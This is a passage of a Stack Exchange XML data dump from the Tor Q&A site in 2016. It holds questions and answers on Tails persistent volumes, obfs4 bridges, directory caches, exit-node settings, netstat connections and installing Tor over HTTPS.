&lt;code&gt;TailsData&lt;/code&gt; (this is how Tails recognises a persistent partition);&lt;/li&gt;&#xA;&lt;li&gt;Create a LUKS volume on the partition: &lt;code&gt;cryptsetup luksFormat ...&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Create a EXT4 filesystem in the LUKS volume &lt;code&gt;mkfs.ext4 ...&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Mount the filesystem (e.g. on &lt;code&gt;/mnt&lt;/code&gt;);&lt;/li&gt;&#xA;&lt;li&gt;Set ACLS on the root directory: &lt;code&gt;setfacl -m user:115:rwx,group::rwx,mask::rwx /mnt&lt;/code&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Create file &lt;code&gt;/mnt/persistence.conf&lt;/code&gt; with mode &lt;code&gt;600&lt;/code&gt; and ownership &lt;code&gt;155:122&lt;/code&gt;, with contents as descrbed below.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Tails uses the &lt;code&gt;persistence.conf&lt;/code&gt; file to mount diretories on the persistent volume onto the filesystem. For example, the line&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/amnesia/Persistent source=Persistent&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;makes the &lt;code&gt;Persistent&lt;/code&gt; directory on the persistent volume available as the &lt;code&gt;/home/amnesia/Persistent&lt;/code&gt; directory. When Tails creates this file. the whitespace between the two parts is a &lt;code&gt;tab&lt;/code&gt;, however a &lt;code&gt;space&lt;/code&gt; also works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A more complete example &lt;code&gt;persistence.conf&lt;/code&gt; is shown below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/home/amnesia/Persistent source=Persistent&#xA;/home/amnesia/.gnupg source=gnupg&#xA;/home/amnesia/.ssh source=openssh-client&#xA;/home/amnesia/.purple source=pidgin&#xA;/home/amnesia/.claws-mail source=claws-mail&#xA;/home/amnesia/.gnome2/keyrings source=gnome-keyrings&#xA;/home/amnesia/.mozilla/firefox/bookmarks source=bookmarks&#xA;/etc/cups source=cups-configuration&#xA;/home/amnesia/.icedove source=icedove&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h2&gt;An example&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Given the GPT partition &lt;code&gt;/dev/sdj3&lt;/code&gt;, as &lt;code&gt;root&lt;/code&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# cryptsetup luksFormat /dev/sdj3&#xA;# cryptsetup open /dev/sdj3 tailsdata&#xA;# mkfs.ext4 /dev/mapper/tailsdata&#xA;# mount /dev/mapper/tailsdata /mnt&#xA;# echo '/home/amnesia/Persistent source=Persistent' &amp;gt; /mnt/persistence.conf&#xA;# chown 115:122 /mnt/persistence.conf&#xA;# chmod 600 /mnt/persistence.conf&#xA;# setfacl -m user:115:rwx,group::rwx,mask::rwx /mnt&#xA;# umount /mnt&#xA;# cryptsetup close tailsdata&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;It is important to set the permissions (&lt;code&gt;chown&lt;/code&gt;, &lt;code&gt;chmod&lt;/code&gt; and &lt;code&gt;setfacl&lt;/code&gt;) correctly otherwise Tails will disable persistence.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails will create the directories defined in &lt;code&gt;persistence.conf&lt;/code&gt;. If you want to precreate them set their ownership appropriately (&lt;code&gt;1000:1000&lt;/code&gt; for content beneath &lt;code&gt;/home/amnesia&lt;/code&gt;; as appropriate for other directories).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails will also create an empty file called &lt;code&gt;live-additional-software.conf&lt;/code&gt;. This is an optional file that allows additional packages to be installed from the persistent volume. See &lt;a href=&quot;https://tails.boum.org/doc/first_steps/persistence/configure/#index14h2&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for more information about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When mounted, the root of the persistent volume is at &lt;code&gt;/live/persistence/TailsData_unlocked&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Further reading:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tails.boum.org/contribute/design/persistence&quot; rel=&quot;nofollow&quot;&gt;Persistence Design Documetation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://tails.boum.org/doc/first_steps/persistence/configure&quot; rel=&quot;nofollow&quot;&gt;Create &amp;amp; configure the persistent volume&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14607" LastActivityDate="2016-10-08T19:41:42.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12857" PostTypeId="1" CreationDate="2016-10-08T22:20:32.843" Score="0" ViewCount="11345" Body="&lt;p&gt;I cannot access websites on Orfox, .onion or otherwise. The loading bar stops at around 25% and then never moves. &lt;/p&gt;&#xA;" OwnerUserId="14649" LastActivityDate="2018-10-27T19:00:53.840" Title="Orfox won't load pages" Tags="|orbot|android|website|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12858" PostTypeId="1" CreationDate="2016-10-09T02:11:22.247" Score="1" ViewCount="1866" Body="&lt;p&gt;It seems I can't connect to OBSF4 or scramblesuit bridges with TAILS. I have no troubble with OBSF3 in Tails. Below is some of the error message. Can you guys help me out? Thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;10/08/2016 08:32:03.600 [NOTICE] New control connection opened from 127.0.0.1. &#xA;10/08/2016 08:32:04.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;10/08/2016 08:32:04.100 [NOTICE] Opening Socks listener on 127.0.0.1:9050 &#xA;10/08/2016 08:32:04.100 [NOTICE] Opening Socks listener on 127.0.0.1:9061 &#xA;10/08/2016 08:32:04.100 [NOTICE] Opening Socks listener on 127.0.0.1:9062 &#xA;10/08/2016 08:32:04.100 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;10/08/2016 08:32:04.100 [NOTICE] Opening DNS listener on 127.0.0.1:5353 &#xA;10/08/2016 08:32:04.100 [NOTICE] Opening Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;10/08/2016 08:32:04.100 [NOTICE] Renaming old configuration file to &quot;/etc/tor/torrc.orig.1&quot; &#xA;10/08/2016 08:32:05.000 [NOTICE] New control connection opened from 127.0.0.1. &#xA;10/08/2016 08:32:06.500 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;10/08/2016 08:32:06.600 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;10/08/2016 08:33:06.700 [WARN] Proxy Client: unable to connect to 194.132.209.97:55597 (&quot;server rejected connection&quot;) &#xA;10/08/2016 08:33:06.700 [WARN] Proxy Client: unable to connect to 192.36.31.56:35990 (&quot;server rejected connection&quot;) &#xA;10/08/2016 08:34:13.800 [WARN] Proxy Client: unable to connect to 69.162.169.213:24848 (&quot;server rejected connection&quot;) &#xA;10/08/2016 08:34:17.300 [NOTICE] Closing no-longer-configured Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;10/08/2016 08:34:17.300 [NOTICE] Closing no-longer-configured DNS listener on 127.0.0.1:5353 &#xA;10/08/2016 08:34:17.300 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9050 &#xA;10/08/2016 08:34:17.300 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9061 &#xA;10/08/2016 08:34:17.300 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9062 &#xA;10/08/2016 08:34:17.300 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;10/08/2016 08:34:17.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;10/08/2016 08:34:17.300 [NOTICE] Closing old Transparent pf/netfilter listener on 127.0.0.1:9040 &#xA;10/08/2016 08:34:17.300 [NOTICE] Closing old DNS listener on 127.0.0.1:5353 &#xA;10/08/2016 08:34:17.300 [NOTICE] Closing old Socks listener on 127.0.0.1:9050 &#xA;10/08/2016 08:34:17.300 [NOTICE] Closing old Socks listener on 127.0.0.1:9061 &#xA;10/08/2016 08:34:17.300 [NOTICE] Closing old Socks listener on 127.0.0.1:9062 &#xA;10/08/2016 08:34:17.300 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14653" LastEditorUserId="88" LastEditDate="2016-10-09T10:51:03.240" LastActivityDate="2017-05-24T19:18:23.360" Title="OBSF4 and scramblesuit" Tags="|tails|pluggable-transports|obfs4|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12859" PostTypeId="1" CreationDate="2016-10-09T04:56:56.857" Score="0" ViewCount="199" Body="&lt;p&gt;Does Tor entry point stores my ISP addresses after I disconnect from the Tor system?&lt;/p&gt;&#xA;" OwnerUserId="14654" LastEditorUserId="88" LastEditDate="2016-10-09T10:25:23.540" LastActivityDate="2016-10-09T10:30:15.797" Title="Does Tor entry point store my ISP information?" Tags="|ip-address|guard-node|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12860" PostTypeId="1" AcceptedAnswerId="12865" CreationDate="2016-10-09T05:37:26.087" Score="1" ViewCount="313" Body="&lt;p&gt;I want to make client connect with the only specific directory cache what I specify to download consensus document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there any way to do this using torrc or tor command line option ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think adding &quot;DirServer [nickname] [flags] address:port fingerprint&quot; in torrc file is not for directory cache but for custom directory authority.&lt;/p&gt;&#xA;" OwnerUserId="14590" LastEditorUserId="14590" LastEditDate="2016-10-09T08:57:12.400" LastActivityDate="2016-10-09T11:57:13.813" Title="Is there any way a client connects specific directory mirror(cache)" Tags="|relays|directory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12861" PostTypeId="1" AcceptedAnswerId="12864" CreationDate="2016-10-09T06:19:05.317" Score="0" ViewCount="75" Body="&lt;p&gt;In tor directory protocol, I found that Routers may act as directory caches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding &quot;DirPort 80&quot; in relay's torrc file is right? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or Adding &quot;FetchDirInfoEarly 1&quot; in relay's torrc file is right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is not, what should I do? &lt;/p&gt;&#xA;" OwnerUserId="14590" LastActivityDate="2016-10-09T11:44:37.163" Title="How to make relay act as directory cache?" Tags="|configuration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12862" PostTypeId="2" ParentId="12859" CreationDate="2016-10-09T10:30:15.797" Score="1" Body="&lt;p&gt;The entry point into the Tor network (so called guard node) sees your real IP address. Depending on the policy of the relay operator it could save every connecting IP address. This can be done with or without Tor. In general it is considered good practise to &lt;em&gt;not save&lt;/em&gt; any data.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-10-09T10:30:15.797" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12863" PostTypeId="2" ParentId="8599" CreationDate="2016-10-09T10:48:23.477" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;Install and open tails,  &lt;/li&gt;&#xA;&lt;li&gt;Partition using the Disk-utility of Tails, leaving some space for the Persistance Volume.&lt;/li&gt;&#xA;&lt;li&gt;After that operation install the Persistance volume on the remaining space. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14657" LastActivityDate="2016-10-09T10:48:23.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12864" PostTypeId="2" ParentId="12861" CreationDate="2016-10-09T11:44:37.163" Score="0" Body="&lt;p&gt;You need to add &lt;code&gt;DirPort 80&lt;/code&gt; - it's a preferred port number, but you can use another one if 80 is busy in your case. And the port &lt;strong&gt;must be&lt;/strong&gt; reachable from the outer world via your external IP address. No further configuration is needed so far. &lt;code&gt;FetchDirInfoEarly 1&lt;/code&gt; works sometimes, but - there's no practical neccessity in it as far as I know. My setups, for example, are just using DirPort and it works &lt;em&gt;just fine&lt;/em&gt; out of the box.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-09T11:44:37.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12865" PostTypeId="2" ParentId="12860" CreationDate="2016-10-09T11:57:13.813" Score="0" Body="&lt;p&gt;&lt;code&gt;DirServer&lt;/code&gt; is being replaced by &lt;code&gt;DirAuthority&lt;/code&gt; - see the &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/10156&quot; rel=&quot;nofollow noreferrer&quot;&gt;ticket&lt;/a&gt;. And - according to an &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;official manual&lt;/a&gt; - it says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;FallbackDir address:port orport=port id=fingerprint [weight=num] [ipv6=address:orport]&#xA;When we’re unable to connect to any directory cache for directory info (usually because we don’t know about any yet) we try a directory authority. Clients also simultaneously try a FallbackDir, to avoid hangs on client startup if a directory authority is down. Clients retry FallbackDirs more often than directory authorities, to reduce the load on the directory authorities. By default, the directory authorities are also FallbackDirs. Specifying a FallbackDir replaces Tor’s default hard-coded FallbackDirs (if any). (See the DirAuthority entry for an explanation of each flag.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;with&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;UseDefaultFallbackDirs 0|1&#xA;&#xA;Use Tor’s default hard-coded FallbackDirs (if any). (When a FallbackDir &#xA;line is present, it replaces the hard-coded FallbackDirs, regardless of &#xA;the value of UseDefaultFallbackDirs.) (Default: 1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;seem to be your solution, and&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;DirAuthority [nickname] [flags] address:port fingerprint&#xA;Use a nonstandard authoritative directory server at the provided address and port, with the specified key fingerprint. This option can be repeated many times, for multiple authoritative directory servers. Flags are separated by spaces, and determine what kind of an authority this directory is. By default, an authority is not authoritative for any directory style or version unless an appropriate flag is given. Tor will use this authority as a bridge authoritative directory if the &amp;quot;bridge&amp;quot; flag is set. If a flag &amp;quot;orport=port&amp;quot; is given, Tor will use the given port when opening encrypted tunnels to the dirserver. If a flag &amp;quot;weight=num&amp;quot; is given, then the directory server is chosen randomly with probability proportional to that weight (default 1.0). If a flag &amp;quot;v3ident=fp&amp;quot; is given, the dirserver is a v3 directory authority whose v3 long-term signing key has the fingerprint fp. Lastly, if an &amp;quot;ipv6=address:orport&amp;quot; flag is present, then the directory authority is listening for IPv6 connections on the indicated IPv6 address and OR Port.&#xA;&#xA;Tor will contact the authority at address:port (the DirPort) to download directory documents. If an IPv6 address is supplied, Tor will also download directory documents at the IPv6 address on the DirPort.&#xA;&#xA;If no DirAuthority line is given, Tor will use the default directory authorities. NOTE: this option is intended for setting up a private Tor network with its own directory authorities. If you use it, you will be distinguishable from other users, because you won’t believe the same authorities they do.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;so - yes - there's no use in adding DirAuthority lines, unless you're making your own testnet. But if you need to use some explicit directories - you can add their descriptions as &lt;code&gt;FallbackDir&lt;/code&gt; lines and trying to disable default ones via &lt;code&gt;UseDefaultFallbackDirs 0&lt;/code&gt; and blocking an access to them - you can try to force Tor to use your provided list of directory mirrors.&lt;/p&gt;&#xA;&lt;p&gt;But - I'm curious - what do you need this setup for? Can you add some more details about your task?&lt;/p&gt;&#xA;" OwnerUserId="9291" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-10-09T11:57:13.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12866" PostTypeId="2" ParentId="12853" CreationDate="2016-10-09T12:07:33.543" Score="1" Body="&lt;p&gt;If IPv6 working in your setup? i.e. it can be disabled in &lt;code&gt;sysctl&lt;/code&gt; or in kernel - so no AutomapHosts-like features will work with IPv6, if it's disabled in OS. Also here some check-list:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;GeoIPv6File&lt;/code&gt; must be specified,&lt;/li&gt;&#xA;&lt;li&gt;In &lt;code&gt;OrPort&lt;/code&gt; no flag &lt;code&gt;IPv4Only&lt;/code&gt; must be specified,&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ClientPreferIPv6ORPort&lt;/code&gt; &lt;em&gt;should&lt;/em&gt; be set to &lt;code&gt;auto&lt;/code&gt;,&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ClientUseIPv6&lt;/code&gt; should &lt;strong&gt;not&lt;/strong&gt; be set to &lt;code&gt;0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;VirtualAddrNetworkIPv6&lt;/code&gt; - if using AutomapHosts - can be also used and it's a big bonus&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;PreferIPv6Automap&lt;/code&gt; - set it to &lt;code&gt;on&lt;/code&gt; if you're preferring IPv6&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;PreferIPv6&lt;/code&gt; and &lt;code&gt;IPv6Traffic&lt;/code&gt; are enabling you to use IPv6 for exits - use these flags in &lt;code&gt;SocksPort&lt;/code&gt; line, by default SOCKS in Tor &lt;strong&gt;does not&lt;/strong&gt; handle IPv6! &amp;lt;&amp;lt;---- &lt;strong&gt;this can be your particular case due to the error message you've posted&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Try to add the strings needed to your &lt;code&gt;torrc&lt;/code&gt; explicitly. If you will still have problems - drop me a line, we'll se further.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-09T12:07:33.543" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12867" PostTypeId="2" ParentId="12810" CreationDate="2016-10-09T12:18:28.670" Score="0" Body="&lt;p&gt;Hash and Digest in those sentences are the same thing: you're noting/referring-to/counting/distinguishing descriptors by their has, as a primary key/id. So - that disarms the potential forgery attack with serving old version of the descriptor: an old and new versions are having &lt;em&gt;different&lt;/em&gt; hash/checksum, so they will be referenced &quot;by difficult ids&quot;, so attacker won't be able to give you an old version by request of a new one. Also keep in mind, that hashes like md5 and sha1 and sha256 are usually hardware-accelerated by most CPU's and MCU's, so using them as an ID is a very good choice: it's fast, unique and have a fixed size(by definition of the hash itself).&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-09T12:18:28.670" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="12868" PostTypeId="1" AcceptedAnswerId="12882" CreationDate="2016-10-09T14:04:46.840" Score="2" ViewCount="804" Body="&lt;p&gt;When applying netstat on a machine (Kali Linux 2016.2) running tor, I can observe an always established outbound ssh connection - see third line below. Could anyone confirm why this ssh connection is required? I thought Tor only makes HTTPS connection to nodes - it shouldn't require a consistent SSH connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The commands I ran were: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ service tor start&#xA;$ netstat -atnp&#xA;Active Internet connections (servers and established)&#xA;Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    &#xA;tcp        0      0 127.0.0.1:9040          0.0.0.0:*               LISTEN      1604/tor            &#xA;tcp        0      0 127.0.0.1:9050          0.0.0.0:*               LISTEN      1604/tor            &#xA;tcp        0      0 10.0.0.2:40794         91.121.155.33:22        ESTABLISHED&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Tor version in use is as below: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ tor --version&#xA;Tor version 0.2.8.8 (git-8d8a099454d994bd).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14660" LastEditorUserId="88" LastEditDate="2016-10-11T08:30:14.840" LastActivityDate="2016-10-11T08:32:41.750" Title="tor outbound ssh connection visible in netstat" Tags="|relays|network-configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12869" PostTypeId="2" ParentId="12868" CreationDate="2016-10-09T17:19:10.763" Score="0" Body="&lt;p&gt;No problem here - it's a &lt;em&gt;foreign address&lt;/em&gt;, i.e. remote relay uses port 22 for it's operations. The &lt;strong&gt;local address&lt;/strong&gt; is a column you should worry about in such suspicions. The pluggable transports jobs are also &lt;em&gt;much more efficient&lt;/em&gt; if they're bounded to port 443 and mimicing a HTTPS connection.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-09T17:19:10.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12873" PostTypeId="1" AcceptedAnswerId="12874" CreationDate="2016-10-10T00:40:16.187" Score="0" ViewCount="741" Body="&lt;pre&gt;&lt;code&gt;I am trying to configure Tor bridges that will use only USA exit Relays. &#xA;Is this possible? I notice there are not that many *USA* exit relays, If there&#xA;are no available exit relays in the *US*, is TOR smart enough to fail over to&#xA;the next available exit relays or must that be included in the `.torcc`as well&#xA;?&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14664" LastEditorUserId="14664" LastEditDate="2016-11-26T00:44:59.753" LastActivityDate="2016-11-26T00:44:59.753" Title="Specific Tor Bridges to Use USA Exit Relay Only" Tags="|tor-browser-bundle|configuration|exit-relays|network-configuration|" AnswerCount="1" CommentCount="0" ClosedDate="2016-10-12T18:38:39.333" ContentLicense="CC BY-SA 3.0" />
  <row Id="12874" PostTypeId="2" ParentId="12873" CreationDate="2016-10-10T10:30:58.557" Score="-1" Body="&lt;p&gt;Yes, but not the Bridges you need to configure. Bridges are &quot;entry points&quot;/&quot;safe gates&quot; to enter the Tor network. You need to select &lt;em&gt;an exit nodes/exits&lt;/em&gt;, and that's how it's done in &lt;code&gt;torrc&lt;/code&gt; config:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;StrictNodes 1&#xA;ExitNodes {us}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-10T10:30:58.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12875" PostTypeId="2" ParentId="6541" CreationDate="2016-10-10T10:35:59.270" Score="-1" Body="&lt;p&gt;First, take a look at your proxy settings - you &lt;strong&gt;must&lt;/strong&gt; resolve hostnames via proxy, &lt;em&gt;not by regular DNS queries&lt;/em&gt;. Second, take a look at your Tor logs: is it &quot;100% bootstrapped&quot; when you're trying to use it to reach an onion website?&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-10-10T10:35:59.270" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12879" PostTypeId="1" AcceptedAnswerId="12886" CreationDate="2016-10-11T04:29:15.887" Score="2" ViewCount="2218" Body="&lt;p&gt;I learned from a &lt;a href=&quot;https://www.youtube.com/watch?v=oh9D2r-ck40&quot; rel=&quot;nofollow&quot;&gt;video&lt;/a&gt; that NAT punching is one of the features of Tor. I run GNU/Linux Ubuntu 16.4. I have already installed Tor. It will be great if someone can instruct me how to perform this feature. My home connection does not receive a static IP. It will be great if I could access my home PC from anywhere in the world via Tor. &lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorDisplayName="user5" LastEditDate="2016-10-12T16:31:00.203" LastActivityDate="2016-10-12T19:58:33.153" Title="How to perform NAT Punching with Tor" Tags="|onion-services|ubuntu|ssh|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12880" PostTypeId="1" AcceptedAnswerId="12883" CreationDate="2016-10-11T04:47:12.140" Score="2" ViewCount="158" Body="&lt;p&gt;I am trying to install Tor on a certain PC, but the firewall at the gateway does not allow me to do so. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I obtained my instructions to install Tor from &#xA;&lt;a href=&quot;https://www.torproject.org/docs/debian&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/debian&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that, entries to sources.list are HTTP and not HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deb http://deb.torproject.org/torproject.org xenial main&#xA;deb-src http://deb.torproject.org/torproject.org xenial main &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was the reason for the firewall to block the installation. Therefore I changed it to HTTPS i.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;deb https://deb.torproject.org/torproject.org xenial main&#xA;deb-src https://deb.torproject.org/torproject.org xenial main &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and tried to install Tor again. It worked!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if this is a good method. If so, I would like to know why is it not listed in the Tor website. &lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorUserId="88" LastEditDate="2016-10-11T08:45:47.567" LastActivityDate="2016-10-11T12:41:58.990" Title="Can I install Tor by making source lists HTTPS" Tags="|linux|ubuntu|tor-install|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12881" PostTypeId="1" CreationDate="2016-10-11T07:51:12.203" Score="1" ViewCount="104" Body="&lt;p&gt;I cannot seem to figure this issue out. I just bought a brand new mac book air and have done nothing to it other than download Tor. Every time i go to run Tor, it says the same thing &quot;cannot connect to control port&quot;. I'm running the newest OS X el capitan. I'm honestly not very tech savvy. someone please help, thank you &lt;/p&gt;&#xA;" OwnerUserId="14674" LastActivityDate="2016-10-13T11:41:13.567" Title="&quot;could not connect to control port&quot;" Tags="|mac|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12882" PostTypeId="2" ParentId="12868" CreationDate="2016-10-11T08:32:41.750" Score="2" Body="&lt;p&gt;The IP address you posted belongs to the relay &lt;a href=&quot;https://atlas.torproject.org/#details/A12A3536AD288D34071C6ACA76D0BE5CF6318F1C&quot; rel=&quot;nofollow&quot;&gt;c4k3KS1&lt;/a&gt;. As you can see at the Atlas page it listens at port 22 for Tor connections. So in your netstat view there is no real SSH session, but a Tor connection on port 22. You'll find several relays which listen on other ports. Usually port 80 or 443 are quite common. This helps to circumvent firewall settings on the client side.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-10-11T08:32:41.750" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12883" PostTypeId="2" ParentId="12880" CreationDate="2016-10-11T09:01:03.357" Score="2" Body="&lt;p&gt;You have different possibilities to download Tor. Each comes with different advantages or disadvantages:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;HTTP: This is the default method which is offered through the Tor website. Usually HTTP works for most users. Packages are digitally signed so the package manager can check if the correct version was downloaded.&lt;/li&gt;&#xA;&lt;li&gt;HTTPS: If you use HTTPS, it might be a good idea to also install &lt;a href=&quot;https://launchpad.net/ubuntu/xenial/+package/apt-transport-https&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;apt-transport-https&lt;/code&gt;&lt;/a&gt;. This allows you to enter HTTPS links and certificates are checked.&lt;/li&gt;&#xA;&lt;li&gt;Tor Onion Service: You can also use a Tor Onion Service to download Tor itself. You'll need &lt;a href=&quot;https://launchpad.net/ubuntu/xenial/+package/apt-transport-tor&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;apt-transport-tor&lt;/code&gt;&lt;/a&gt; for this. At &lt;a href=&quot;https://onion.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;onion.torproject.org&lt;/a&gt; you'll find all available onion addresses for the Tor website. Currently &lt;a href=&quot;http://sdscoq7snqtznauu.onion/&quot; rel=&quot;nofollow&quot;&gt;http://sdscoq7snqtznauu.onion/&lt;/a&gt; is the onion for &lt;a href=&quot;https://deb.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;https://deb.torproject.org/&lt;/a&gt;. So you can add this URL to your &lt;code&gt;sources.list&lt;/code&gt; and download everything over Tor. This will work as long as you have a working Tor connection.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want to change the default URL to HTTPS for &lt;a href=&quot;http://deb.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;http://deb.torproject.org/&lt;/a&gt; please go to &lt;a href=&quot;https://trac.torproject.org/projects/tor&quot; rel=&quot;nofollow&quot;&gt;Tor's Bug tracker&lt;/a&gt; and add an entry. The developers will consider this and maybe change it. However as I explained above HTTP might give more availability, so it could be that the HTTP URL is there by intention.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-10-11T09:01:03.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
